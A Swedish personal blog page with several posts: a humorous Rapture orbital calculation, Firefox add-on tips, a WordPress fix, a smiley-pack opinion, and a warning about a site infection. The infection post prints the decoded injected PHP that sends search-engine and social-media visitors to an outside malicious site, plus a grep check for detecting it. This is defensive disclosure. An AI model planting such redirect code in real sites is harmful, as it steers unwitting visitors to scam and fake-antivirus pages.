Nej, det är inte över än

I lördags skulle Uppryckandet (the Rapture) inträffa, då de rättrogna kristna förs till himlen. Dessutom skulle kraftiga jordbävningar drabba hela jorden. Ännu en profetia som slog fel?

Ja, fast vem har sagt att Uppryckandet går på en dag? Till att börja med får vi definiera himlen. Enligt Jesaja 30:26 lyser solen 49 gånger kraftigare i himlen, vilket sätter himlen till en sfär runt solen, med en radie på 1/7 astronomiska enheter (drygt två miljoner mil). Dessutom får vi anta att folket i himlen inte gillar att krocka med varandra, så det begränsar himlen till en ekvator på sfären, ungefär som en Saturnusring, fast smalare. Omloppstiden är 19,7 dygn, vilket är så länge som Gud kan fylla på himlen med människor, utan att behöva bry som om kollisioner. I så fall är vi inte ens halvvägs igenom Rapture.

Att bli uppryckt är också en omskakande händelse. För det första behövs en utgångshastighet på minst 11 km/s för att lämna jordens gravitation. Sedan behöver man bromsa in kraftigt när man når himlen, annars fortsätter man i en excentrisk elliptisk bana. För att nå himlen på en någorlunda rimlig tid har jag räknat med en utgångshastighet på 20 km/s. Vid en start i västra Mexiko i rät vinkel kl 18:00 2011-05-21 når man himlen den 25 juli. Då är ens hastighet 104 km/s, som måste bromsas in till 78 km/s.

Hur har jag nu fått reda på detta? Universe Sandbox 2 samt lite xml-hack för att få till uppskjutningarna.

Attackerad av banditer från finditnow.osa.pl

Den nya skurksajten finditnow.osa.pl är ett gissel för utvecklare. Genom att utnyttja buggar i äldre versioner av php och i vissa fall XSS injiceras en kodrad i en viktig fil, som t ex wp-config.php om man kör WordPress. Kodraden är maskerad med base64, men så här ser den ut om man avkodar den.

error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"twitter") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://ringostart.osa.pl/"); exit(); } } }

Med andra ord ser sidan normal ut om man besöker den direkt, men man skickas vidare till skurksajten finditnow.osa.pl om man hamnar på sajten via en sökmotor. I värsta fall kan man hamna på en sida för ett fejkat antivirusprogram. Ett sätt för att kolla om ens sajt är smittad är att köra kommandot grep -r ”eval(base64_decode” * i public_html

Sex viktiga tillägg till Firefox

Här är de sex viktigaste tilläggen till Firefox

Adblock Plus
Smidigt för att välja bort distraherande och batterislukande innehåll.

BetterPrivacy (ej längre aktuell)
Gör det möjligt att rensa bort sk LSO (Flash cookies). Dessa cookies kan inte tas bort med ”rensa ut tidigare historik”.

FaviconizeTab
Krymp fliken så att bara favikonen syns. Perfekt för webbapplikationer!

Firebug
Ett måste för webbutvecklaren. Ersätter DOM inspector, inspectThis och är grymt användbar för Ajax.

Neo Diggler
Hitta snabbt tidigare innehåll på en url, välj mellan bland annat Google Cache och Archive.org

Sxipper
Smart formulärhanterare, genererar bra lösenord mm.

Misslyckad uppdatering av WordPress

Ibland misslyckas uppdateringen av WordPress, och man får meddelandet ”Du har inte tillräcklig behörighet för att få tillgång till denna sida.” efter inloggning. Problemet beror inte på korrupt databas. Så här löste jag det.

  • Ändra i /wp-config.php och lägga till fyra rader.
  • Ändra i /wp-content/languages/sv_SE.php och sätt $wp_default_secret_key till något av värdena som du fick i föregående steg.

Distrubition av smileypacks borde vara lagligt

Jag förstår inte hur folk står ut med svennebanan MSN. Alldeles för mycket distraktionselement för min smak. Tack och lov kan man köra Miranda istället. Dessutom slipper man ha extra klienter för kontakterna på Yahoo och ICQ.

Miranda är rätt barebone, så man behöver installera några tillägg, viktigast är Modern Contact List, IEView och Smileyadd. Det sistnämnda ger stöd för uttryckssymboler (smileys). Tyvärr har Miranda förbjudits att distribuera uttryckssymbolerna i originalform, vilket gör att den du chattar med kan se en lite fulare symbol eller ingen alls. I värsta fall kan det visas en helt annan symbol än man tänkt sig, vilket kan innebära fight.

En av de vanligaste frågorna på Mirandas supportforum är just uttryckssymboler i originalform. För vem vill ha ett alternativt smileypack som bara leder till missförstånd. Dock är det förbjudet att posta länkar till fungerande originalpaket.

Tillverkarna av IM-klienter påstår sig ha copyright på symbolerna, och att de har ensamrätt på att distribuera dem. Men om jag skriver vilken teckensekvens som helst som motsvarar en smiley till någon som kör standard MSN så ”distribuerar” jag ju också den. Och mottagaren ser ju samma symbol, oavsett om jag kör Miranda eller standard MSN.

Det borde vara lagligt att distribuera paket med originalsmileys för Miranda. Face it, alla trivs inte med MSN i standardutförande. Att jämföra det med piratkopiering (dvs att sno en samling filer som man ska betala för) är bara löjligt. Snarare kan man jämföra det med att lägga ut en lista på vanliga onödiga autostartande program. Support helt enkelt.